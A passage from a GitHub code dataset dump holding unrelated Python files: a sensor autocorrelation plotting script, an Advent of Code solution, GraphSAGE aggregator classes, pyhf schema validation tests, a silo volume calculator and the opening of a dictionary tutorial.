gyroZ_sd)\n\ngyroX_mean = magn.get_mean(gyroX_filtered)\ngyroY_mean = magn.get_mean(gyroY_filtered)\ngyroZ_mean = magn.get_mean(gyroZ_filtered)\ngyro_mean_mean = magn.get_mean_3(gyroX_mean, gyroY_mean, gyroZ_mean)\n\nmagn_sd = magn.get_sd(magn_filtered_resultant)\nmagn_mean = magn.get_mean(magn_filtered_resultant)\nmagn_autocorrelation = magn.autocor(magn_filtered_resultant)\n\nacc_sd = magn.get_sd(acc_filtered_resultant)\nacc_mean = magn.get_mean(acc_filtered_resultant)\nacc_autocorrelation = magn.autocor(acc_filtered_resultant)\nacc_autocorrelation_pure = magn.autocor(acc_resultant)\n\n'''4- Plotting the Autocorrelation'''\n#plots accelerometer data\nplt.title(\"Accelerometer Data\")\nplt.xlabel(\"Reading number\")\nplt.ylabel(\"Acceleration/g\")\nplt.plot(acc_filtered_resultant,label='AccResultant')\nplt.plot([acc_mean]*len(accX),label='Mean')\nplt.plot([acc_sd]*len(accX),label='Standard Deviation')\nplt.legend()\nplt.show()\n\nplt.plot(acc_autocorrelation, label = \"Noise filtered acceleration readings autocorrelation\")\nplt.plot(acc_autocorrelation_pure, label= \"Raw acceleration readings autocorrelation\")\nplt.xlabel(\"Readings number\")\nplt.ylabel(\"Autocorrelation value\")\nplt.title(\"Auto correlation of Resultant Acceleration\")\nplt.legend()\nplt.show()\n\n#plots magnetometer data\nplt.title(\"Magnetometer Data\")\nplt.ylabel(\"Magnetic Intensity/µT\")\nplt.xlabel(\"Reading number\")\nplt.plot(magn_filtered_resultant,label='MagnResultant')\nplt.plot([magn_mean]*len(magnX),label='Mean')\nplt.plot([magn_sd]*len(magnX),label='Standard Deviation')\nplt.legend()\nplt.show()\n#plots autocorrelation data\nplot.plot_2d(np.arange(0,len(magn_filtered_resultant),1),'Reading number',[np.append(magn_autocorrelation,magn_autocorrelation[-1])],'Autocorrelation of magnetic field',[magn_filtered_resultant],\"Resultant Magnetic field Intensity/µT\")\n\n\n\n\n\n\n\"\"\"_______________________ Part 2: Comparing and correlating data ______________________\"\"\"\n\n\n'''1- Plotting the correlations '''\n\nmagn_acc_cor = magn.cor(magn_filtered_resultant, acc_filtered_resultant)\n\n#plots correlation data\nplt.title(\"Correlation between Acceleration and Magnetic Intensity\")\nplt.xlabel(\"Reading number\")\nplt.plot(magn_acc_cor)\nplt.ylabel(\"Correlation value\")\nplt.legend()\nplt.show()\n\nmagn_gyroX_cor = magn.cor(magn_filtered_resultant, gyroX_filtered)\n\n#plots correlation data\nplt.title(\"Correlation between Angular velocity in X-axis and Magnetic Intensity\")\nplt.xlabel(\"Reading number\")\nplt.plot(magn_gyroX_cor)\nplt.ylabel(\"Correlation value\")\nplt.legend()\nplt.show()\n\nmagn_gyroY_cor = magn.cor(magn_filtered_resultant, gyroY_filtered)\n\n#plots correlation data\nplt.title(\"Correlation between Angular velocity in Y-axis and Magnetic Intensity\")\nplt.xlabel(\"Reading number\")\nplt.plot(magn_gyroY_cor)\nplt.ylabel(\"Correlation value\")\nplt.legend()\nplt.show()\n\nmagn_gyroZ_cor = magn.cor(magn_filtered_resultant, gyroZ_filtered)\n\n#plots correlation data\nplt.title(\"Correlation between Angular velocity in Z-axis and Magnetic Intensity\")\nplt.xlabel(\"Reading number\")\nplt.plot(magn_gyroZ_cor)\nplt.ylabel(\"Correlation value\")\nplt.legend()\nplt.show()\n","repo_name":"RoboneClub/Mechabot-Analysis","sub_path":"experiment-2.py","file_name":"experiment-2.py","file_ext":"py","file_size_in_byte":5876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31800336882","text":"previous = { \"\"}\nHEAD = { \"X\": 0, \"Y\": 0 }\nTAIL = { \"X\": 0, \"Y\": 0 }\ntail_pos = []\nhead_pos = []\n\ndef move_tail():\n global TAIL\n x_diff = abs(HEAD[\"X\"] - TAIL[\"X\"])\n y_diff = abs(HEAD[\"Y\"] - TAIL[\"Y\"])\n if x_diff > 1 or y_diff > 1:\n TAIL = {\"X\": previous[\"X\"], \"Y\": previous[\"Y\"]}\n tail_pos.append({\"X\": TAIL[\"X\"], \"Y\": TAIL[\"Y\"]})\n\ndef move_head(direction: str, count: int):\n for i in range(count):\n global HEAD, previous\n previous = {\"X\": HEAD[\"X\"], \"Y\": HEAD[\"Y\"]}\n head_pos.append({\"X\": HEAD[\"X\"], \"Y\": HEAD[\"Y\"]})\n if direction == \"U\": # move up\n HEAD[\"Y\"] += 1\n elif direction == \"R\": # move right\n HEAD[\"X\"] += 1\n elif direction == \"D\": # move down\n HEAD[\"Y\"] -= 1\n elif direction == \"L\": # move left\n HEAD[\"X\"] -= 1\n move_tail()\n\nwith open('example2-input.txt') as fin:\n for ln in (ln.replace('\\n', '') for ln in fin.readlines()):\n direction, count = ln.split(\" \")\n move_head(direction, int(count))\n\nprint(len(set([tuple(pos.values()) for pos in tail_pos])))\n ","repo_name":"Cwagne17/Advent-of-Code-2022","sub_path":"Day 9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41384069830","text":"### LIBRARIES ###\n# Global libraries\nimport math\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n### CLASS DEFINITIONS ###\nclass Aggregator(nn.Module):\n \"\"\"Aggregator class.\"\"\"\n\n def __init__(self, input_dim=None, output_dim=None, device=\"cpu\"):\n \"\"\"Initiates the Aggregator class.\n\n Args:\n input_dim: int | None\n dimension of input node features.\n Used for definition of fully-connected layers\n in pooling aggregators\n output_dim: int | None\n dimension of output node features.\n Used for definition of fully-connected layers\n in pooling aggregators\n \"\"\"\n super().__init__()\n\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.device = device\n\n def forward(self, features, nodes, mapping, rows, num_samples=25):\n \"\"\"Forward function of the Aggregator module.\n\n Args:\n features: torch.Tensor (n' x input_dim)\n input node features\n nodes: np.array\n nodes in the current layer of the computation graph\n mapping: Dict\n maps node `v` to its positino in the layer of nodes\n in the computation graph before nodes\n rows: np.array\n neighbors of nodes present in `nodes`\n num_samples: int\n number of neighbors to sample while aggregating\n Returns:\n out: torch.Tensor (len(nodes) x output_dim)\n output node features\n \"\"\"\n _choice, _len, _min = np.random.choice, len, min\n mapped_rows = [\n np.array([mapping[v] for v in row], dtype=np.int64) for row in rows\n ]\n if num_samples == -1:\n sampled_rows = mapped_rows\n else:\n sampled_rows = [\n _choice(row, _min(_len(row), num_samples), _len(row) < num_samples)\n for row in mapped_rows\n ]\n\n n = _len(nodes)\n if self.__class__.__name__ == \"LSTMAggregator\":\n out = torch.zeros(n, 2 * self.output_dim).to(self.device)\n else:\n out = torch.zeros(n, self.output_dim).to(self.device)\n for i in range(n):\n if _len(sampled_rows[i]) != 0:\n out[i, :] = self._aggregate(features[sampled_rows[i], :])\n\n return out\n\n def _aggregate(self, features):\n raise NotImplementedError\n\n\nclass MeanAggregator(Aggregator):\n def _aggregate(self, features):\n \"\"\"Mean aggregation.\n\n Args:\n features: torch.Tensor\n input features\n Returns:\n aggregated features\n \"\"\"\n return torch.mean(features, dim=0)\n\n\nclass PoolAggregator(Aggregator):\n def __init__(self, input_dim, output_dim, device=\"cpu\"):\n \"\"\"Initiates the PoolAggregator class.\n\n Args:\n input_dim: int\n dimension of input node features\n output_dim: int\n dimension of output node features\n \"\"\"\n super().__init__(input_dim, output_dim, device)\n\n self.fc1 = nn.Linear(input_dim, output_dim)\n self.relu = nn.ReLU()\n\n def _aggregate(self, features):\n \"\"\"Pooling aggregation.\n\n Args:\n features: torch.Tensor\n input features\n returns:\n aggregated features\n \"\"\"\n out = self.relu(self.fc1(features.float()))\n return self._pool_fn(out)\n\n def _pool_fn(self, features):\n raise NotImplementedError\n\n\nclass MaxPoolAggregator(PoolAggregator):\n def _pool_fn(self, features):\n \"\"\"Max pooling aggregation.\n\n Args:\n features: torch.Tensor\n input features\n Returns:\n aggregated features\n \"\"\"\n return torch.max(features, dim=0)[0]\n\n\nclass MeanPoolAggregator(PoolAggregator):\n def _pool_fn(self, features):\n \"\"\"Mean pooling aggregation.\n\n Args:\n features: torch.Tensor\n input features\n Returns:\n aggregated feature\n \"\"\"\n return torch.mean(features, dim=0)[0]\n\n\nclass LSTMAggregator(Aggregator):\n def __init__(self, input_dim, output_dim, device=\"cpu\"):\n \"\"\"Implements a LSTM aggregator.\n\n Args:\n input_dim: int\n dimension of input node features\n output_dim: int\n dimension of output node features\n \"\"\"\n super().__init__(input_dim, output_dim, device)\n\n self.lstm = nn.LSTM(input_dim, output_dim, bidirectional=True, batch_first=True)\n\n def _aggregate(self, features):\n \"\"\"LSTM aggregation.\n\n Args:\n features: torch.Tensor\n input features\n Returns:\n aggregated features\n \"\"\"\n perm = np.random.permutation(np.arange(features.shape[0]))\n features = features[perm, :]\n features = features.unsqueeze(0)\n\n out, _ = self.lstm(features)\n out = out.squeeze(0)\n out = torch.sum(out, dim=0)\n\n return out\n","repo_name":"fgxaos/mlns_datachallenge_2021","sub_path":"models/graphsage/aggregators.py","file_name":"aggregators.py","file_ext":"py","file_size_in_byte":5178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12339120321","text":"import importlib\nimport json\nimport sys\n\nimport pytest\nfrom pytest_socket import socket_disabled # noqa: F401\n\nimport pyhf\n\n\n@pytest.mark.parametrize('version', ['1.0.0'])\n@pytest.mark.parametrize(\n 'schema', ['defs.json', 'measurement.json', 'model.json', 'workspace.json']\n)\ndef test_get_schema(version, schema):\n assert pyhf.schema.load_schema(f'{version}/{schema}')\n\n\ndef test_load_missing_schema():\n with pytest.raises(IOError):\n pyhf.schema.load_schema('fake_schema.json')\n\n\ndef test_schema_attributes():\n assert hasattr(pyhf.schema, 'version')\n assert hasattr(pyhf.schema, 'path')\n assert pyhf.schema.version\n assert pyhf.schema.path\n\n\ndef test_schema_callable():\n assert callable(pyhf.schema)\n\n\n@pytest.fixture\ndef self_restoring_schema_globals():\n old_path = pyhf.schema.path\n old_cache = dict(pyhf.schema.variables.SCHEMA_CACHE)\n yield old_path, old_cache\n pyhf.schema(old_path)\n pyhf.schema.variables.SCHEMA_CACHE = old_cache\n\n\ndef test_schema_changeable(datadir, monkeypatch, self_restoring_schema_globals):\n monkeypatch.setattr(\n pyhf.schema.variables, 'schemas', pyhf.schema.variables.schemas, raising=True\n )\n old_path, old_cache = self_restoring_schema_globals\n new_path = datadir / 'customschema'\n\n with pytest.raises(pyhf.exceptions.SchemaNotFound):\n with open(\n datadir / \"customschema\" / \"custom.json\", encoding=\"utf-8\"\n ) as spec_file:\n pyhf.Workspace(json.load(spec_file))\n\n pyhf.schema(new_path)\n assert old_path != pyhf.schema.path\n assert new_path == pyhf.schema.path\n assert pyhf.schema.variables.SCHEMA_CACHE is not old_cache\n assert len(pyhf.schema.variables.SCHEMA_CACHE) == 0\n with open(new_path / \"custom.json\", encoding=\"utf-8\") as spec_file:\n assert pyhf.Workspace(json.load(spec_file))\n assert len(pyhf.schema.variables.SCHEMA_CACHE) == 1\n\n\ndef test_schema_changeable_context(datadir, monkeypatch, self_restoring_schema_globals):\n monkeypatch.setattr(\n pyhf.schema.variables, 'schemas', pyhf.schema.variables.schemas, raising=True\n )\n old_path, old_cache = self_restoring_schema_globals\n new_path = datadir / 'customschema'\n\n assert old_path == pyhf.schema.path\n with pyhf.schema(new_path):\n assert old_path != pyhf.schema.path\n assert new_path == pyhf.schema.path\n assert pyhf.schema.variables.SCHEMA_CACHE is not old_cache\n assert len(pyhf.schema.variables.SCHEMA_CACHE) == 0\n with open(new_path / \"custom.json\", encoding=\"utf-8\") as spec_file:\n assert pyhf.Workspace(json.load(spec_file))\n assert len(pyhf.schema.variables.SCHEMA_CACHE) == 1\n assert old_path == pyhf.schema.path\n assert old_cache == pyhf.schema.variables.SCHEMA_CACHE\n\n\ndef test_schema_changeable_context_error(\n datadir, monkeypatch, self_restoring_schema_globals\n):\n monkeypatch.setattr(\n pyhf.schema.variables, 'schemas', pyhf.schema.variables.schemas, raising=True\n )\n old_path, old_cache = self_restoring_schema_globals\n new_path = datadir / 'customschema'\n\n with pytest.raises(ZeroDivisionError):\n with pyhf.schema(new_path):\n # this populates the current cache\n with open(new_path / \"custom.json\", encoding=\"utf-8\") as spec_file:\n pyhf.Workspace(json.load(spec_file))\n raise ZeroDivisionError()\n assert old_path == pyhf.schema.path\n assert old_cache == pyhf.schema.variables.SCHEMA_CACHE\n\n\ndef test_no_channels():\n spec = {'channels': []}\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_no_samples():\n spec = {'channels': [{'name': 'channel', 'samples': []}]}\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_sample_missing_data():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [{'name': 'sample', 'data': [], 'modifiers': []}],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_sample_missing_name():\n spec = {\n 'channels': [{'name': 'channel', 'samples': [{'data': [1], 'modifiers': []}]}]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_sample_missing_all_modifiers():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [{'name': 'sample', 'data': [10.0], 'modifiers': []}],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidModel):\n pyhf.Model(spec)\n\n\ndef test_one_sample_missing_modifiers():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ]\n }\n pyhf.Model(spec, poi_name='mypoi')\n\n\ndef test_add_unknown_modifier():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'ttbar',\n 'data': [1],\n 'modifiers': [\n {\n 'name': 'a_name',\n 'type': 'this_should_not_exist',\n 'data': [1],\n }\n ],\n }\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_empty_staterror():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'sample',\n 'data': [10.0],\n 'modifiers': [\n {\n 'name': 'staterror_channel',\n 'type': 'staterror',\n 'data': [],\n }\n ],\n }\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_empty_shapesys():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'sample',\n 'data': [10.0],\n 'modifiers': [\n {'name': 'sample_norm', 'type': 'shapesys', 'data': []}\n ],\n }\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_empty_histosys():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'sample',\n 'data': [10.0],\n 'modifiers': [\n {\n 'name': 'modifier',\n 'type': 'histosys',\n 'data': {'lo_data': [], 'hi_data': []},\n }\n ],\n }\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_additional_properties():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'fake_additional_property': 2,\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_parameters_definition():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': [{'name': 'mypoi'}],\n }\n pyhf.Model(spec, poi_name='mypoi')\n\n\ndef test_parameters_incorrect_format():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': {'a': 'fake', 'object': 2},\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec, poi_name='mypoi')\n\n\ndef test_parameters_duplicated():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': [{'name': 'mypoi'}, {'name': 'mypoi'}],\n }\n with pytest.raises(pyhf.exceptions.InvalidModel):\n pyhf.Model(spec, poi_name='mypoi')\n\n\ndef test_parameters_fixed():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'sample',\n 'data': [10.0],\n 'modifiers': [\n {'name': 'unfixed', 'type': 'normfactor', 'data': None}\n ],\n },\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': [{'name': 'mypoi', 'inits': [1], 'fixed': True}],\n }\n pyhf.Model(spec, poi_name='mypoi')\n\n\ndef test_parameters_all_props():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': [{'name': 'mypoi', 'inits': [1], 'bounds': [[0, 1]]}],\n }\n pyhf.Model(spec, poi_name='mypoi')\n\n\n@pytest.mark.parametrize(\n 'bad_parameter',\n [\n {'name': 'mypoi', 'inits': ['a']},\n {'name': 'mypoi', 'bounds': [0, 1]},\n {'name': 'mypoi', 'auxdata': ['a']},\n {'name': 'mypoi', 'factors': ['a']},\n {'name': 'mypoi', 'paramset_type': 'fake_paramset_type'},\n {'name': 'mypoi', 'n_parameters': 5},\n {'name': 'mypoi', 'op_code': 'fake_op_code'},\n ],\n ids=[\n 'inits',\n 'bounds',\n 'auxdata',\n 'factors',\n 'paramset_type',\n 'n_parameters',\n 'op_code',\n ],\n)\ndef test_parameters_bad_parameter(bad_parameter):\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': [bad_parameter],\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec, poi_name='mypoi')\n\n\n@pytest.mark.parametrize(\n 'bad_parameter', [{'name': 'mypoi', 'factors': [0.0]}], ids=['factors']\n)\ndef test_parameters_normfactor_bad_attribute(bad_parameter):\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {'name': 'sample', 'data': [10.0], 'modifiers': []},\n {\n 'name': 'another_sample',\n 'data': [5.0],\n 'modifiers': [\n {'name': 'mypoi', 'type': 'normfactor', 'data': None}\n ],\n },\n ],\n }\n ],\n 'parameters': [bad_parameter],\n }\n with pytest.raises(pyhf.exceptions.InvalidModel):\n pyhf.Model(spec, poi_name='mypoi')\n\n\ndef test_histosys_additional_properties():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'sample',\n 'data': [10.0],\n 'modifiers': [\n {\n 'name': 'histosys',\n 'type': 'histosys',\n 'data': {\n 'hi_data': [1.0],\n 'lo_data': [0.5],\n 'foo': 2.0,\n },\n }\n ],\n }\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\ndef test_normsys_additional_properties():\n spec = {\n 'channels': [\n {\n 'name': 'channel',\n 'samples': [\n {\n 'name': 'sample',\n 'data': [10.0],\n 'modifiers': [\n {\n 'name': 'normsys',\n 'type': 'normsys',\n 'data': {'hi': 1.0, 'lo': 0.5, 'foo': 2.0},\n }\n ],\n }\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.Model(spec)\n\n\n@pytest.mark.parametrize(\n 'patch',\n [\n {\"op\": \"add\", \"path\": \"/foo/0/bar\", \"value\": {\"foo\": [1.0]}},\n {\"op\": \"replace\", \"path\": \"/foo/0/bar\", \"value\": {\"foo\": [1.0]}},\n {\"op\": \"test\", \"path\": \"/foo/0/bar\", \"value\": {\"foo\": [1.0]}},\n {\"op\": \"remove\", \"path\": \"/foo/0/bar\"},\n {\"op\": \"move\", \"path\": \"/foo/0/bar\", \"from\": \"/foo/0/baz\"},\n {\"op\": \"copy\", \"path\": \"/foo/0/bar\", \"from\": \"/foo/0/baz\"},\n ],\n ids=['add', 'replace', 'test', 'remove', 'move', 'copy'],\n)\ndef test_jsonpatch(patch):\n pyhf.schema.validate([patch], 'jsonpatch.json')\n\n\n@pytest.mark.parametrize(\n 'patch',\n [\n {\"path\": \"/foo/0/bar\"},\n {\"op\": \"add\", \"path\": \"/foo/0/bar\", \"from\": {\"foo\": [1.0]}},\n {\"op\": \"add\", \"path\": \"/foo/0/bar\"},\n {\"op\": \"add\", \"value\": {\"foo\": [1.0]}},\n {\"op\": \"remove\"},\n {\"op\": \"move\", \"path\": \"/foo/0/bar\"},\n {\"op\": \"move\", \"from\": \"/foo/0/baz\"},\n ],\n ids=[\n 'noop',\n 'add_from_novalue',\n 'add_novalue',\n 'add_nopath',\n 'remove_nopath',\n 'move_nofrom',\n 'move_nopath',\n ],\n)\ndef test_jsonpatch_fail(patch):\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.schema.validate([patch], 'jsonpatch.json')\n\n\n@pytest.mark.parametrize('patchset_file', ['patchset_good.json'])\ndef test_patchset(datadir, patchset_file):\n with open(datadir.joinpath(patchset_file), encoding=\"utf-8\") as patch_file:\n patchset = json.load(patch_file)\n pyhf.schema.validate(patchset, 'patchset.json')\n\n\n@pytest.mark.parametrize(\n 'patchset_file',\n [\n 'patchset_bad_label_pattern.json',\n 'patchset_bad_no_patch_name.json',\n 'patchset_bad_empty_patches.json',\n 'patchset_bad_no_patch_values.json',\n 'patchset_bad_no_digests.json',\n 'patchset_bad_no_description.json',\n 'patchset_bad_no_labels.json',\n 'patchset_bad_invalid_digests.json',\n 'patchset_bad_hepdata_reference.json',\n 'patchset_bad_no_version.json',\n ],\n)\ndef test_patchset_fail(datadir, patchset_file):\n with open(datadir.joinpath(patchset_file), encoding=\"utf-8\") as patch_file:\n patchset = json.load(patch_file)\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.schema.validate(patchset, 'patchset.json')\n\n\ndef test_defs_always_cached(\n socket_disabled, # noqa: F811\n isolate_modules,\n):\n \"\"\"\n Schema definitions should always be loaded from the local files and cached at first import.\n Otherwise pyhf will crash in contexts where the jsonschema.RefResolver cannot lookup the definition by the schema-id\n (e.g. a cluster node without network access).\n \"\"\"\n modules_to_clear = [name for name in sys.modules if name.split('.')[0] == 'pyhf']\n for module_name in modules_to_clear:\n del sys.modules[module_name]\n pyhf = importlib.import_module('pyhf')\n\n spec = {\n 'channels': [\n {\n 'name': 'singlechannel',\n 'samples': [\n {\n 'name': 'signal',\n 'data': [10],\n 'modifiers': [\n {'name': 'mu', 'type': 'normfactor', 'data': None}\n ],\n },\n {\n 'name': 'background',\n 'data': [20],\n 'modifiers': [\n {\n 'name': 'uncorr_bkguncrt',\n 'type': 'shapesys',\n 'data': [30],\n }\n ],\n },\n ],\n }\n ]\n }\n pyhf.schema.validate(spec, 'model.json') # may try to access network and fail\n\n\ndef test_schema_tensor_type_allowed(backend):\n tensorlib, _ = backend\n spec = {\n \"channels\": [\n {\n \"name\": \"singlechannel\",\n \"samples\": [\n {\n \"name\": \"signal\",\n \"data\": tensorlib.astensor([10]),\n \"modifiers\": [\n {\"name\": \"mu\", \"type\": \"normfactor\", \"data\": None}\n ],\n },\n {\n \"name\": \"background\",\n \"data\": tensorlib.astensor([15]),\n \"modifiers\": [\n {\n \"name\": \"uncorr_bkguncrt\",\n \"type\": \"shapesys\",\n \"data\": tensorlib.astensor([5]),\n }\n ],\n },\n ],\n }\n ]\n }\n assert pyhf.schema.validate(spec, \"model.json\") is None\n\n\ndef test_schema_tensor_type_disallowed(mocker, backend):\n tensorlib, _ = backend\n mocker.patch.object(\n pyhf.schema.validate,\n \"__kwdefaults__\",\n {\"version\": None, \"allow_tensors\": False},\n )\n spec = {\n \"channels\": [\n {\n \"name\": \"singlechannel\",\n \"samples\": [\n {\n \"name\": \"signal\",\n \"data\": tensorlib.astensor([10]),\n \"modifiers\": [\n {\"name\": \"mu\", \"type\": \"normfactor\", \"data\": None}\n ],\n },\n {\n \"name\": \"background\",\n \"data\": tensorlib.astensor([15]),\n \"modifiers\": [\n {\n \"name\": \"uncorr_bkguncrt\",\n \"type\": \"shapesys\",\n \"data\": tensorlib.astensor([5]),\n }\n ],\n },\n ],\n }\n ]\n }\n with pytest.raises(pyhf.exceptions.InvalidSpecification):\n pyhf.schema.validate(spec, \"model.json\")\n","repo_name":"scikit-hep/pyhf","sub_path":"tests/test_schema.py","file_name":"test_schema.py","file_ext":"py","file_size_in_byte":22054,"program_lang":"python","lang":"en","doc_type":"code","stars":265,"dataset":"github-code","pt":"60"} +{"seq_id":"19963217772","text":"import json\r\nfrom pprint import pprint\r\n\r\n#cm\r\npoint_length = 40\r\npoint_width = 40\r\n\r\n#cm\r\nsilo_width = 320\r\nsilo_length = 320\r\nsilo_height = 600\r\n\r\njson_file = 'medicao-silo.json'\r\n\r\n\r\ndef cm_cubed_to_m_cubed(value):\r\n return value / 100 ** 3\r\n\r\n\r\ndef calc_volume(distances):\r\n c1 = distances['c1']['p1'] + distances['c1']['p2'] + distances['c1']['p3'] + distances['c1']['p4'] + \\\r\n distances['c1']['p5'] + distances['c1']['p6'] + distances['c1']['p7'] + distances['c1']['p8']\r\n c2 = distances['c2']['p1'] + distances['c2']['p2'] + distances['c2']['p3'] + distances['c2']['p4'] + \\\r\n distances['c2']['p5'] + distances['c2']['p6'] + distances['c2']['p7'] + distances['c2']['p8']\r\n c3 = distances['c3']['p1'] + distances['c3']['p2'] + distances['c3']['p3'] + distances['c3']['p4'] + \\\r\n distances['c3']['p5'] + distances['c3']['p6'] + distances['c3']['p7'] + distances['c3']['p8']\r\n c4 = distances['c4']['p1'] + distances['c4']['p2'] + distances['c4']['p3'] + distances['c4']['p4'] + \\\r\n distances['c4']['p5'] + distances['c4']['p6'] + distances['c4']['p7'] + distances['c4']['p8']\r\n c5 = distances['c5']['p1'] + distances['c5']['p2'] + distances['c5']['p3'] + distances['c5']['p4'] + \\\r\n distances['c5']['p5'] + distances['c5']['p6'] + distances['c5']['p7'] + distances['c5']['p8']\r\n c6 = distances['c6']['p1'] + distances['c6']['p2'] + distances['c6']['p3'] + distances['c6']['p4'] + \\\r\n distances['c6']['p5'] + distances['c6']['p6'] + distances['c6']['p7'] + distances['c6']['p8']\r\n c7 = distances['c7']['p1'] + distances['c7']['p2'] + distances['c7']['p3'] + distances['c7']['p4'] + \\\r\n distances['c7']['p5'] + distances['c7']['p6'] + distances['c7']['p7'] + distances['c7']['p8']\r\n c8 = distances['c8']['p1'] + distances['c8']['p2'] + distances['c8']['p3'] + distances['c8']['p4'] + \\\r\n distances['c8']['p5'] + distances['c8']['p6'] + distances['c8']['p7'] + distances['c8']['p8']\r\n return cm_cubed_to_m_cubed(point_length * point_width * (c1 + c2 + c3 + c4 + c5 + c6 + c7 + c8))\r\n\r\n\r\nwith open(json_file) as data_file:\r\n measures = json.load(data_file)\r\n data_file.close()\r\n\r\n silo_volume = cm_cubed_to_m_cubed(silo_width * silo_length * silo_height)\r\n\r\n for measure in measures:\r\n free_space = calc_volume(measure['distances'])\r\n occupied_volume = silo_volume - free_space\r\n pprint('Occupied Volume: ' + str(round(occupied_volume, 2)) + 'm³, ' +\r\n 'Free space: ' + str(round(free_space, 2)) + 'm³')\r\n","repo_name":"jdelucaa/silo-volume","sub_path":"volume.py","file_name":"volume.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"13740825448","text":"# Dictionary = a changable, unordered collection of unique key:values pairs\n# Fast because they are hashing, allow us to access a value quickly\n\n\ncapitals = {\"India\":\"New Delhi\",\n \"USA\":\"Washington DC\",\n \"China\":\"Benjing\",\n \"Russia\":\"Moscow\"}\n\ncapitals.update({\"Germany\":\"Berlin\"})\ncapitals.update({\"India\":\"Chennai\"})\ncapitals.pop(\"China\") ## it used to remove a 